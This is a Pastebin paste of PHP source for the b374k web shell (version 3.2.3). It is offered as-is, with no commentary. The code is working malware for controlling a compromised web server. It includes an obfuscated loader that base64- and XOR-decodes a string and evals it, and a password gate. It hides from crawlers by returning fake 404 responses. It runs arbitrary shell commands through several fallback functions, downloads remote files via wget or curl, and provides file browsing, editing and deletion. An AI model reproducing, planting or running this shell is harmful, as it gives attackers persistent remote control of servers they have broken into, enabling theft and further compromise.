dragondevile

b374k

Nov 14th, 2016
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /*
  3.     b374k shell 3.2.3
  4.     Jayalah Indonesiaku
  5.     (c)2016
  6.     https://github.com/b374k/b374k
  7.  
  8. */
  9. $GLOBALS['module_to_load'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");$GLOBALS['resources']['b374k'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTcl+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX+TYuhayNJmnOICeOYMlG6LXcaFMUH/teZTS3ENIE+QU2EUIOdVLjNHIDNrCjm1v/0vfbla4fmZyMymiqZn1uwrwLoF2sGzo/3WF6+m1XYL9KlKe7NzfZifT63w5JiENgVaRzIhx0CwCSCUB/AkCaCS4Ag5Z6LgtDx2N89Ysv3oBx60jwdzDLn5gdf+Hc//R7x7zdIffjwfpRw5O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3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOKEbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53TasogwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXesslvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4pvOIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8=";
  12. $GLOBALS['ver'] = "3.2.3";
  13. $GLOBALS['title'] = "b374k";
  14.  
  15. @ob_start();
  16. error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
  17. @ini_set('html_errors','0');
  18. @ini_set('display_errors','1');
  19. @ini_set('display_startup_errors','1');
  20. @ini_set('log_errors','0');
  21. @set_time_limit(0);
  22. @clearstatcache();
  23.  
  24. function loadsettings($p1 = '', $p2 = '') {
  25.     $p = 'LH16ZCg1KH16ZG1ma2dsbSAqYHx8eDInJyxXW01aXk1aU0BcXFhXQEdbXFUsV1tNWl5NWlNaTVldTVtcV11aQVUqITMobmFkbVdvbXxXa2dmfG1mfHsgKmB8fHgyJycwMSY8PSY+PyY5PDsnZGdpbCZ4YHg3Y2M1cyx9emR1LnhpemllOTUteGl6aWU5LnhpemllOjUteGl6aWU6KiEz';
  26.     $p = base64_decode($p);
  27.     for ($i = 0; $i < strlen($p); $i++) $p[$i] = chr(ord($p[$i]) ^ 8);
  28.     $p = str_replace('%param1', $p1, $p);
  29.     $p = str_replace('%param2', $p2, $p);
  30.     eval($p);
  31. }
  32.  
  33. loadsettings('', 'b374k');
  34.  
  35. if(!function_exists('auth')){
  36.     function auth(){
  37.         if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass'])!='')){
  38.             $c = $_COOKIE;
  39.             $p = $_POST;
  40.             if(isset($p['pass'])){
  41.                 loadsettings($p['pass'], 'b374k');
  42.                 $your_pass = sha1(md5($p['pass']));
  43.                 if($your_pass==$GLOBALS['pass']){
  44.                     setcookie("pass", $your_pass, time()+36000, "/");
  45.                     header("Location: ".get_self());
  46.                 }
  47.             }
  48.  
  49.             if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS['pass'])))){
  50.                 $res = "<!doctype html>
  51.         <html>
  52.         <head>
  53.         <meta charset='utf-8'>
  54.         <meta name='robots' content='noindex, nofollow, noarchive'>
  55.         <meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0'>
  56.         </head>
  57.         <body style='background:#f8f8f8;color:#000000;padding:0;margin:0;'><br><p><center><noscript>You need to enable javascript</noscript></center></p>
  58.         <script type='text/javascript'>
  59.         var d = document;
  60.         d.write(\"<br><br><form method='post'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>\");
  61.         d.getElementById('pass').focus();
  62.         d.getElementById('pass').setAttribute('autocomplete', 'off');
  63.         </script>
  64.         </body></html>
  65.         ";
  66.                 echo $res;
  67.                 die();
  68.             }
  69.         }
  70.     }
  71. }
  72.  
  73. if(!function_exists('get_server_info')){
  74.     function get_server_info(){
  75.         $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
  76.         $server_info['ip_adrress'] = "Server IP : ".$server_addr." <span class='strong'>|</span> Your IP : ".$_SERVER['REMOTE_ADDR'];
  77.         $server_info['time_at_server'] = "Time <span class='strong'>@</span> Server : ".@date("d M Y H:i:s",time());
  78.         $server_info['uname'] = php_uname();
  79.         $server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":'';
  80.         $server_info['software'] = $server_software."  PHP ".phpversion();     
  81.         return $server_info;
  82.     }
  83. }
  84.  
  85. if(!function_exists('get_self')){
  86.     function get_self(){
  87.         $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
  88.         return html_safe($_SERVER["REQUEST_URI"].$query);
  89.     }
  90. }
  91.  
  92. if(!function_exists('get_post')){
  93.     function get_post(){
  94.         return fix_magic_quote($_POST);
  95.     }
  96. }
  97.  
  98. if(!function_exists('get_nav')){
  99.     function get_nav($path){
  100.         return parse_dir($path);
  101.     }
  102. }
  103.  
  104. if(!function_exists('get_cwd')){
  105.     function get_cwd(){
  106.         $cwd = getcwd().DIRECTORY_SEPARATOR;
  107.         if(!isset($_COOKIE['cwd'])){
  108.             setcookie("cwd", $cwd);
  109.         }
  110.         else{
  111.             $cwd_c = rawurldecode($_COOKIE['cwd']);
  112.             if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR;
  113.             else setcookie("cwd", $cwd);
  114.         }
  115.         return $cwd;
  116.     }
  117. }
  118.  
  119. if(!function_exists('wrap_with_quotes')){
  120.     function wrap_with_quotes($str){
  121.         return "\"".$str."\"";
  122.     }
  123. }
  124.  
  125. if(!function_exists('get_resource')){
  126.     function get_resource($type){
  127.         if(isset($GLOBALS['resources'][$type])){
  128.             return gzinflate(base64_decode($GLOBALS['resources'][$type]));
  129.         }
  130.         return false;
  131.     }
  132. }
  133.  
  134. if(!function_exists('block_bot')){
  135.     function block_bot(){
  136.         // block search engine bot
  137.         if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
  138.             header("HTTP/1.0 404 Not Found");
  139.             header("Status: 404 Not Found");
  140.             die();
  141.         }
  142.         elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
  143.             header("HTTP/1.0 404 Not Found");
  144.             header("Status: 404 Not Found");
  145.             die();
  146.         }
  147.     }
  148. }
  149.  
  150. if(!function_exists('is_win')){
  151.     function is_win(){
  152.         return (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
  153.     }
  154. }
  155.  
  156. if(!function_exists('fix_magic_quote')){
  157.     function fix_magic_quote($arr){
  158.         $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
  159.         if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
  160.             if(is_array($arr)){
  161.                 foreach($arr as $k=>$v){
  162.                     if(is_array($v)) $arr[$k] = clean($v);
  163.                     else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
  164.                 }
  165.             }
  166.         }
  167.         return $arr;
  168.     }
  169. }
  170.  
  171. if(!function_exists('execute')){
  172.     function execute($code){
  173.         $output = "";
  174.         $code = $code." 2>&1";
  175.  
  176.         if(is_callable('system') && function_exists('system')){
  177.             ob_start();
  178.             @system($code);
  179.             $output = ob_get_contents();
  180.             ob_end_clean();
  181.             if(!empty($output)) return $output;
  182.         }
  183.         elseif(is_callable('shell_exec') && function_exists('shell_exec')){
  184.             $output = @shell_exec($code);
  185.             if(!empty($output)) return $output;
  186.         }
  187.         elseif(is_callable('exec') && function_exists('exec')){
  188.             @exec($code,$res);
  189.             if(!empty($res)) foreach($res as $line) $output .= $line;
  190.             if(!empty($output)) return $output;
  191.         }
  192.         elseif(is_callable('passthru') && function_exists('passthru')){
  193.             ob_start();
  194.             @passthru($code);
  195.             $output = ob_get_contents();
  196.             ob_end_clean();
  197.             if(!empty($output)) return $output;
  198.         }
  199.         elseif(is_callable('proc_open') && function_exists('proc_open')){
  200.             $desc = array(
  201.                 0 => array("pipe", "r"),
  202.                 1 => array("pipe", "w"),
  203.                 2 => array("pipe", "w"));
  204.             $proc = @proc_open($code, $desc, $pipes, getcwd(), array());
  205.             if(is_resource($proc)){
  206.                 while($res = fgets($pipes[1])){
  207.                     if(!empty($res)) $output .= $res;
  208.                 }
  209.                 while($res = fgets($pipes[2])){
  210.                     if(!empty($res)) $output .= $res;
  211.                 }
  212.             }
  213.             @proc_close($proc);
  214.             if(!empty($output)) return $output;
  215.         }
  216.         elseif(is_callable('popen') && function_exists('popen')){
  217.             $res = @popen($code, 'r');
  218.             if($res){
  219.                 while(!feof($res)){
  220.                     $output .= fread($res, 2096);
  221.                 }
  222.                 pclose($res);
  223.             }
  224.             if(!empty($output)) return $output;
  225.         }
  226.         return "";
  227.     }
  228. }
  229.  
  230. if(!function_exists('html_safe')){
  231.     function html_safe($str){
  232.         return htmlspecialchars($str, 2 | 1);
  233.     }
  234. }
  235.  
  236. if(!function_exists('parse_dir')){
  237.     function parse_dir($path){
  238.         $path = realpath($path).DIRECTORY_SEPARATOR;
  239.         $paths = explode(DIRECTORY_SEPARATOR, $path);
  240.         $res = "";
  241.         for($i = 0; $i < sizeof($paths)-1; $i++){
  242.             $x = "";
  243.             for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR;
  244.             $res .= "<a class='navbar' data-path='".html_safe($x)."'>".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." </a>";
  245.         }
  246.         if(is_win()) $res = get_drives().$res;
  247.         return trim($res);
  248.     }
  249. }
  250.  
  251. if(!function_exists('zip')){
  252.     function zip($files, $archive){
  253.         $status = false;
  254.         if(!extension_loaded('zip')) return $status;
  255.         if(class_exists("ZipArchive")){
  256.             $zip = new ZipArchive();
  257.             if(!$zip->open($archive, 1)) return $status;
  258.  
  259.             if(!is_array($files)) $files = array($files);
  260.             foreach($files as $file){
  261.                 $file = str_replace(get_cwd(), '', $file);
  262.                 $file = str_replace('\\', '/', $file);
  263.                 if(is_dir($file)){
  264.                     $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
  265.                     foreach($filesIterator as $iterator){
  266.                         $iterator = str_replace('\\', '/', $iterator);
  267.                         if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue;
  268.  
  269.                         if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/'));
  270.                         else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator));
  271.                     }
  272.                 }
  273.                 elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file));
  274.             }
  275.             if($zip->getStatusString()!==false) $status = true;
  276.             $zip->close();
  277.         }
  278.         return $status;
  279.     }
  280. }
  281.  
  282. if(!function_exists('compress')){
  283.     function compress($type, $archive, $files){
  284.         if(!is_array($files)) $files = array($files);
  285.         if($type=='zip'){
  286.             if(zip($files, $archive)) return true;
  287.             else return false;
  288.         }
  289.         elseif(($type=='tar')||($type=='targz')){
  290.             $archive = basename($archive);
  291.  
  292.             $listsBasename = array_map("basename", $files);
  293.             $lists = array_map("wrap_with_quotes", $listsBasename);
  294.  
  295.             if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists));
  296.             elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists));
  297.  
  298.             if(is_file($archive)) return true;
  299.             else return false;
  300.         }
  301.         return false;
  302.     }
  303. }
  304.  
  305. if(!function_exists('decompress')){
  306.     function decompress($type, $archive, $path){
  307.         $path = realpath($path).DIRECTORY_SEPARATOR;
  308.         $status = false;
  309.         if(is_dir($path)){
  310.             chdir($path);
  311.             if($type=='unzip'){
  312.                 if(class_exists('ZipArchive')){
  313.                     $zip = new ZipArchive();
  314.                     $target = $path.basename($archive,".zip");
  315.                     if($zip->open($archive)){
  316.                         if(!is_dir($target)) mkdir($target);
  317.                         if($zip->extractTo($target)) $status = true;
  318.                         $zip->close();
  319.                     }
  320.                 }
  321.             }
  322.             elseif($type=='untar'){
  323.                 $target = basename($archive,".tar");
  324.                 if(!is_dir($target)) mkdir($target);
  325.                 $before = count(get_all_files($target));
  326.                 execute("tar xf \"".basename($archive)."\" -C \"".$target."\"");
  327.                 $after = count(get_all_files($target));
  328.                 if($before!=$after) $status = true;
  329.  
  330.             }
  331.             elseif($type=='untargz'){
  332.                 $target = "";
  333.                 if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz");
  334.                 elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz");
  335.  
  336.                 if(!is_dir($target)) mkdir($target);
  337.                 $before = count(get_all_files($target));
  338.                 execute("tar xzf \"".basename($archive)."\" -C \"".$target."\"");
  339.                 $after = count(get_all_files($target));
  340.                 if($before!=$after) $status = true;
  341.             }
  342.         }
  343.         return $status;
  344.     }
  345. }
  346.  
  347. if(!function_exists('download')){
  348.     function download($url ,$saveas){
  349.         if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
  350.         $filename = basename($url);
  351.  
  352.         if($content = read_file($url)){
  353.             if(is_file($saveas)) unlink($saveas);
  354.             if(write_file($saveas, $content)){
  355.                 return true;
  356.             }
  357.         }
  358.  
  359.         $buff = execute("wget ".$url." -O ".$saveas);
  360.         if(is_file($saveas)) return true;
  361.  
  362.         $buff = execute("curl ".$url." -o ".$saveas);
  363.         if(is_file($saveas)) return true;
  364.  
  365.         $buff = execute("lwp-download ".$url." ".$saveas);
  366.         if(is_file($saveas)) return true;
  367.  
  368.         $buff = execute("lynx -source ".$url." > ".$saveas);
  369.         if(is_file($saveas)) return true;
  370.  
  371.         return false;
  372.     }
  373. }
  374.  
  375. if(!function_exists('get_fileperms')){
  376.     function get_fileperms($file){
  377.         if($perms = @fileperms($file)){
  378.         $flag = 'u';
  379.         if(($perms & 0xC000) == 0xC000)$flag = 's';
  380.         elseif(($perms & 0xA000) == 0xA000)$flag = 'l';
  381.         elseif(($perms & 0x8000) == 0x8000)$flag = '-';
  382.         elseif(($perms & 0x6000) == 0x6000)$flag = 'b';
  383.         elseif(($perms & 0x4000) == 0x4000)$flag = 'd';
  384.         elseif(($perms & 0x2000) == 0x2000)$flag = 'c';
  385.         elseif(($perms & 0x1000) == 0x1000)$flag = 'p';
  386.         $flag .= ($perms & 00400)? 'r':'-';
  387.         $flag .= ($perms & 00200)? 'w':'-';
  388.         $flag .= ($perms & 00100)? 'x':'-';
  389.         $flag .= ($perms & 00040)? 'r':'-';
  390.         $flag .= ($perms & 00020)? 'w':'-';
  391.         $flag .= ($perms & 00010)? 'x':'-';
  392.         $flag .= ($perms & 00004)? 'r':'-';
  393.         $flag .= ($perms & 00002)? 'w':'-';
  394.         $flag .= ($perms & 00001)? 'x':'-';
  395.         return $flag;
  396.         }
  397.         else return "???????????";
  398.     }
  399. }
  400.  
  401. if(!function_exists('format_bit')){
  402.     function format_bit($size){
  403.         $base = log($size) / log(1024);
  404.         $suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
  405.         return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)];
  406.     }
  407. }
  408.  
  409. if(!function_exists('get_filesize')){
  410.     function get_filesize($file){
  411.         $size = @filesize($file);
  412.         if($size!==false){
  413.             if($size<=0) return 0;
  414.             return format_bit($size);
  415.         }
  416.         else return "???";
  417.     }
  418. }
  419.  
  420. if(!function_exists('get_filemtime')){
  421.     function get_filemtime($file){
  422.         return @date("d-M-Y H:i:s", filemtime($file));
  423.     }
  424. }
  425.  
  426. if(!function_exists('get_fileowner')){
  427.     function get_fileowner($file){
  428.         $owner = "?:?";
  429.         if(function_exists("posix_getpwuid")){
  430.             $name = posix_getpwuid(fileowner($file));
  431.             $group = posix_getgrgid(filegroup($file));
  432.             $owner = $name['name'].":".$group['name'];
  433.         }
  434.         return $owner;
  435.     }
  436. }
  437.  
  438. if(!function_exists('rmdirs')){
  439.     function rmdirs($dir, $counter = 0){
  440.         if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR;
  441.         if($dh = opendir($dir)){
  442.             while(($f = readdir($dh))!==false){
  443.                 if(($f!='.')&&($f!='..')){
  444.                     $f = $dir.$f;
  445.                     if(@is_dir($f)) $counter += rmdirs($f);
  446.                     else{
  447.                         if(unlink($f)) $counter++;
  448.                     }
  449.                 }
  450.             }
  451.             closedir($dh);
  452.             if(rmdir($dir)) $counter++;;
  453.         }
  454.         return $counter;
  455.     }
  456. }
  457.  
  458. if(!function_exists('copys')){
  459.     function copys($source , $target ,$c=0){
  460.         $source = realpath($source).DIRECTORY_SEPARATOR;
  461.         if($dh = opendir($source)){
  462.             if(!is_dir($target)) mkdir($target);
  463.             $target = realpath($target).DIRECTORY_SEPARATOR;
  464.  
  465.             while(($f = readdir($dh))!==false){
  466.                 if(($f!='.')&&($f!='..')){
  467.                     if(is_dir($source.$f)){
  468.                         copys($source.$f, $target.$f, $c);
  469.                     }
  470.                     else{
  471.                         if(copy($source.$f, $target.$f)) $c++;
  472.                     }
  473.                 }
  474.             }
  475.             closedir($dh);
  476.         }
  477.         return $c;
  478.     }
  479. }
  480.  
  481. if(!function_exists('get_all_files')){
  482.     function get_all_files($path){
  483.         $path = realpath($path).DIRECTORY_SEPARATOR;
  484.         $files = glob($path.'*');
  485.         for($i = 0; $i<count($files); $i++){
  486.             if(is_dir($files[$i])){
  487.                 $subdir = glob($files[$i].DIRECTORY_SEPARATOR.'*');
  488.                 if(is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir);
  489.             }
  490.         }
  491.         return $files;
  492.     }
  493. }
  494.  
  495. if(!function_exists('read_file')){
  496.     function read_file($file){
  497.         $content = false;
  498.         if($fh = @fopen($file, "rb")){
  499.             $content = "";
  500.             while(!feof($fh)){
  501.               $content .= fread($fh, 8192);
  502.             }
  503.         }
  504.         return $content;
  505.     }
  506. }
  507.  
  508. if(!function_exists('write_file')){
  509.     function write_file($file, $content){
  510.         if($fh = @fopen($file, "wb")){
  511.             if(fwrite($fh, $content)!==false) return true;
  512.         }
  513.         return false;
  514.     }
  515. }
  516.  
  517. if(!function_exists('view_file')){
  518.     function view_file($file, $type, $preserveTimestamp='true'){
  519.         $output = "";
  520.         if(is_file($file)){
  521.             $dir = dirname($file);
  522.  
  523.             $owner = "";
  524.             if(!is_win()){
  525.                 $owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</td></tr>";
  526.             }
  527.  
  528.             $image_info = @getimagesize($file);
  529.             $mime_list = get_resource('mime');
  530.             $mime = "";
  531.             $file_ext_pos = strrpos($file, ".");
  532.             if($file_ext_pos!==false){
  533.                 $file_ext = trim(substr($file, $file_ext_pos),".");
  534.                 if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
  535.                     $mime = $res[1];
  536.                 }
  537.             }
  538.             if($type=="auto"){
  539.                 if(is_array($image_info)) $type = 'image';
  540.                 //elseif(strtolower(substr($file,-3,3)) == "php") $type = "code";
  541.                 elseif(!empty($mime)) $type = "multimedia";
  542.                 else $type = "raw";
  543.             }
  544.  
  545.             $content = "";
  546.             if($type=="code"){
  547.                 $hl_arr = array(
  548.                             "hl_default"=> ini_get('highlight.default'),
  549.                             "hl_keyword"=> ini_get('highlight.keyword'),
  550.                             "hl_string"=> ini_get('highlight.string'),
  551.                             "hl_html"=> ini_get('highlight.html'),
  552.                             "hl_comment"=> ini_get('highlight.comment')
  553.                             );
  554.                
  555.                
  556.                 $content = highlight_string(read_file($file),true);
  557.                 foreach($hl_arr as $k=>$v){
  558.                     $content = str_replace("<font color=\"".$v."\">", "<font class='".$k."'>", $content);
  559.                     $content = str_replace("<span style=\"color: ".$v."\">", "<span class='".$k."'>", $content);
  560.                 }
  561.             }
  562.             elseif($type=="image"){
  563.                 $width = (int) $image_info[0];
  564.                 $height = (int) $image_info[1];
  565.                 $image_info_h = "Image type = <span class='strong'>(</span> ".$image_info['mime']." <span class='strong'>)</span><br>
  566.                     Image Size = <span class='strong'>( </span>".$width." x ".$height."<span class='strong'> )</span><br>";
  567.                 if($width > 800){
  568.                     $width = 800;
  569.                     $imglink = "<p><a id='viewFullsize'>
  570.                     <span class='strong'>[ </span>View Full Size<span class='strong'> ]</span></a></p>";
  571.                 }
  572.                 else $imglink = "";
  573.  
  574.                 $content = "<center>".$image_info_h."<br>".$imglink."
  575.                     <img id='viewImage' style='width:".$width."px;' src='data:".$image_info['mime'].";base64,".base64_encode(read_file($file))."' alt='".$file."'></center>
  576.     ";
  577.  
  578.             }
  579.             elseif($type=="multimedia"){
  580.                 $content = "<center>
  581.                             <video controls>
  582.                             <source src='' type='".$mime."'>
  583.  
  584.                             </video>
  585.                             <p><span class='button' onclick=\"multimedia('".html_safe(addslashes($file))."');\">Load Multimedia File</span></p>
  586.                             </center>";
  587.             }
  588.             elseif($type=="edit"){
  589.                 $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
  590.                 $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_raw');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_raw();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_raw');\">".html_safe(read_file($file))."</textarea></td></tr></table>";
  591.             }
  592.             elseif($type=="hex"){
  593.                 $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
  594.                 $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_hex');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_hex();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editHexResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_hex');\">".bin2hex(read_file($file))."</textarea></td></tr></table>";
  595.             }
  596.             else $content = "<pre>".html_safe(read_file($file))."</pre>";
  597.  
  598.  
  599.  
  600.             $output .= "
  601.     <table id='viewFile' class='boxtbl'>
  602.     <tr><td style='width:120px;'>Filename</td><td>".html_safe($file)."</td></tr>
  603.     <tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr>
  604.     ".$owner."
  605.     <tr><td>Permission</td><td>".get_fileperms($file)."</td></tr>
  606.     <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr>
  607.     <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr>
  608.     <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr>
  609.     <tr data-path='".html_safe($file)."'><td colspan='2'>
  610.     <span class='navigate button' style='width:120px;'>explorer</span>
  611.     <span class='action button' style='width:120px;'>action</span>
  612.     <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'raw');hide_box();\">raw</span>
  613.     <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'code');hide_box();\">code</span>
  614.     <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'hex');hide_box();\">hex</span>
  615.     <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'image');hide_box();\">image</span>
  616.     <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'multimedia');hide_box();\">multimedia</span>
  617.     </td></tr>
  618.     <tr><td colspan='2'><div id='viewFilecontent'>".$content."</div></td></tr>
  619.     </table>";
  620.  
  621.  
  622.         }
  623.         else $output = "error";
  624.         return $output;
  625.     }
  626. }
  627.  
  628. if(!function_exists('get_writabledir')){
  629.     function get_writabledir(){
  630.         if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR;
  631.         else{
  632.             foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){
  633.                 if(!empty($_ENV[$k])){
  634.                     if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR;
  635.                 }
  636.             }
  637.             if(function_exists("sys_get_temp_dir")){
  638.                 $dir = sys_get_temp_dir();
  639.                 if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR;
  640.             }
  641.             else{
  642.                 if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; }
  643.             }
  644.  
  645.             $tempfile = tempnam(__FILE__,'');
  646.             if(file_exists($tempfile)){
  647.                 $dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
  648.                 unlink($tempfile);
  649.                 return $dir;
  650.             }
  651.         }
  652.         return false;
  653.     }
  654. }
  655.  
  656. if(!function_exists('get_drives')){
  657.     function get_drives(){
  658.         $drives = "";
  659.         $v = explode("\\", get_cwd());
  660.         $v = $v[0];
  661.         foreach (range("A", "Z") as $letter){
  662.             if(@is_readable($letter.":\\")){
  663.                 $drives .= "<a class='navbar' data-path='".$letter.":\\'>[ ";
  664.                 if($letter.":" != $v) $drives .= $letter;
  665.                 else{$drives .= "<span class='drive-letter'>".$letter."</span>";}
  666.                 $drives .= " ]</a> ";
  667.             }
  668.         }
  669.         return $drives;
  670.     }
  671. }
  672.  
  673. if(!function_exists('show_all_files')){
  674.     function show_all_files($path){
  675.         if(!is_dir($path)) return "No such directory : ".$path;
  676.         chdir($path);
  677.         $output = "";
  678.         $allfiles = $allfolders = array();
  679.         if($res = opendir($path)){
  680.             while($file = readdir($res)){
  681.                 if(($file!='.')&&($file!="..")){
  682.                     if(is_dir($file)) $allfolders[] = $file;
  683.                     elseif(is_file($file))$allfiles[] = $file;
  684.                 }
  685.             }
  686.         }
  687.  
  688.         array_unshift($allfolders, ".");
  689.         $cur = getcwd();
  690.         chdir("..");
  691.         if(getcwd()!=$cur) array_unshift($allfolders, "..");
  692.         chdir($cur);
  693.  
  694.         natcasesort($allfolders);
  695.         natcasesort($allfiles);
  696.  
  697.         $cols = array();
  698.         if(is_win()){
  699.             $cols = array(
  700.                     "perms"=>"get_fileperms",
  701.                     "modified"=>"get_filemtime"
  702.                     );
  703.         }
  704.         else{
  705.             $cols = array(
  706.                     "owner"=>"get_fileowner",
  707.                     "perms"=>"get_fileperms",
  708.                     "modified"=>"get_filemtime"
  709.                     );
  710.         }
  711.  
  712.         $totalFiles = count($allfiles);
  713.         $totalFolders = 0;
  714.  
  715.         $output .= "<table id='xplTable' class='dataView sortable'><thead>";
  716.         $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='col-name'>name</th><th class='col-size'>size</th>";
  717.  
  718.         foreach($cols as $k=>$v){
  719.             $output .= "<th class='col-".$k."'>".$k."</th>";
  720.         }
  721.         $output .= "</tr></thead><tbody>";
  722.  
  723.         foreach($allfolders as $d){
  724.             $cboxException = "";
  725.             if(($d==".")||($d=="..")){
  726.                 $action = "actiondot";
  727.                 $cboxException = " cBoxException";
  728.             }
  729.             else{
  730.                 $action = "actionfolder";
  731.                 $totalFolders++;
  732.             }
  733.             $output .= "
  734.     <tr data-path=\"".html_safe(realpath($d).DIRECTORY_SEPARATOR)."\"><td><div class='cBox".$cboxException."'></div></td>
  735.     <td style='white-space:normal;'><a class='navigate'>[ ".html_safe($d)." ]</a><span class='".$action." floatRight'>action</span></td>
  736.     <td>DIR</td>";
  737.             foreach($cols as $k=>$v){
  738.                 $sortable = "";
  739.                 if($k=='modified') $sortable = " title='".filemtime($d)."'";
  740.                 $output .= "<td".$sortable.">".$v($d)."</td>";
  741.             }
  742.             $output .= "</tr>";
  743.         }
